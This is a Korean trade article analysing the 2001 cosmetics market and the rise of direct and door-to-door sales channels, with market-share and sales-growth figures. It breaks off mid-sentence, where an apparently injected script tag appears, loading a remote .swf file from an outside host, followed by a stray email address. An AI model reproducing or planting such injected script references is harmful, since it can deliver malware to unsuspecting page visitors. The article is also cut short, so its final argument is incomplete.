철저한 시장조사로 넓어진 고객층 확보 해야 양질의 서비스통해 고객 충성도 배가가 관건 기존 장업사 시장진입따라 매출 볼륨 급격 확대 고가·고기능성 제품 카운셀링 판매로 고속성장
2001년 화장품 시장 2001년 화장품 시장은 유통의 핵심이 이동된 한해였다. 즉 전문점 유통 중심에서 직판 / 방판 등 방문판매 계열의 유통으로 장업계 각사의 주력 유통이 옮겨지는 현상이 극명하게 드러난 한해라고 할 수 있다. 세계적인 경기침체와 미국 테러사태의 영향 속에서 전년대비 외형은 평균 11.1% (국내 장업계11개사 기준) 가량 성장하였으며 코리아나를 비롯한 태평양, LG의 상위사의 독주체제가 구축된 반면 중·하위권사의 침체가 두드러지고 있다. 이는 직판 및 방판 유통의 성장으로 전문점 시판 유통에만 주력한 장업사의 경우 매출둔화 현상을 나타내고 있는 것이다. 80년대 전문점 유통이 태동된 이후 쇠퇴했던 방문판매 형식의 유통은 90년대 코리아나의 직판유통 생성으로 방문판매계열의 유통이 부활되어 점차 시장점유율을 늘려 가게 되었고, IMF이후 소비의 양극화 현상이 지속되며 직판 및 방판 유통은 빠른 성장을 보이고 있었다. 2001년 유통별 시장점유율(국내 장업계 11개사 기준)을 살펴보면 시판 54.4% (전년도 60.9%), 직판 30% (전년도 26.9%), 구방판 15.6% (전년도 12.1%) 로 시판유통은 방판계열에 비해 시장점유율(M/S)이 감소하였다. 백화점, 마트, 통신판매 등 신유통을 제외하면 순수 전문점 유통의 M/S는 약 35% ~ 40%로 추정되고 있다. 전문점 유통만 운영한 장업사의 경우 실적 감소 내지는 적자운영을 계속했으나 직판 또는 방판에 주력한 장업사는 매출성장과 이익을 내고 있다. 직판시장의 현황과 전망 1) 직판유통의 현황 직판시장은 1990년 코리아나 화장품이 처음으로 시작하면서 출범했다. 70년대를 기점으로 고학력 여성인력의 배출로 사회에 진출하는 여성의 수가 늘어나고 여성에게도 자아실현의 욕구가 강해지면서 판매조직에 이러한 여성의 인식변화를 적용한 것이 직판조직이다. 수평적인 인간관계에서 승진 및 조직관리에 따른 수직적인 인간관계가 요구되었고 여성의 사회적 성공에 대한 비전을 제시할 수 있었다. 이러한 상황적 배경에서 창업자본이 없었던 여성에게 메이커 측에서 사무실 등 영업환경을 제공하여 판매활동에만 전념하게 함으로써 전문적인 경영관리에 대한 지식이 없이도 사회적 신분 및 소득을 보장할 수 있다는 메리트를 기반으로 직판유통은 시작되었던 것이다. 이후 기존 장업사의 시장 신규 진입으로 시장규모가 늘어나고 전체시장은 95년 2,500억원, 97년 4,500억원, 99년 5,000억원, 2001년 8,000억원으로 급격한 성장을 계속해왔다. 수입품을 주력상품으로 판매하기 때문에 IMF이후 환율인상에 따른 원가 및 가격 부담으로 성장세가 다소 주춤하긴 하였으나 IMF충격에서 벗어난 99년 이후 소비의 양극화 현상이 두드러지고 국산브랜드의 개발로 판매제품의 수입품 의존이 줄어들면서 직판시장은 고속성장을 하게 되었다. 고가 / 고기능성 제품의 카운셀링 판매로 인해 직판유통은 전문점 시장을 위협하게 되었고 전문점 시장은 과도한 할인경쟁으로 전문점 수가 급격히 감소하는 구조적인 침체에 접어들게 되었다. 2001년 직판시장은 2000년에 이어 25%이상의 매출성장을 보였다. 특히 한국, 한불 등의 성장세가 두드러지고 코리아나를 제외한 장업사들은 모두 전년대비 30% 이상의 고성장을 기록했다. 전체적인 경기침체의 추세 속에서도 직판 후발주자들은 선도 기업을 벤치마킹하며 노하우를 쌓았고, 2000년 이후 수익성 면에서 흑자를 내고 있다. 시장점유율 면에서 1999년 50%가 넘었던 코리아나의 점유율은 2001년에 다소 주춤한 반면 신규 장업사들의 성장은 두드러졌다. 이러한 직판 시장의 성장요인으로는 전반적인 전문점 시장의 침체와 계속되는 소비의 양극화 현상으로 인한 소비자들의 고가제품 및 카운셀링 제품의 선호 경향을 들 수 있다. 80년대 중반까지 주류를 이루었던 화장품시장에서의 방문판매 유통은 여성의 사회진출에 따른 직장여성의 증가로 한자리에서 다양한 제품을 비교해가며 제품을 구매할 수 있는 시판전문점에 자리를 빼앗기게 되었다. 전문점은 20% ~30% 할인된 가격을 무기로 삼아 소비자들에게 어필할 수 있었으나 점차 전문점의 수가 많아지고 할인경쟁이 심해지면서 ?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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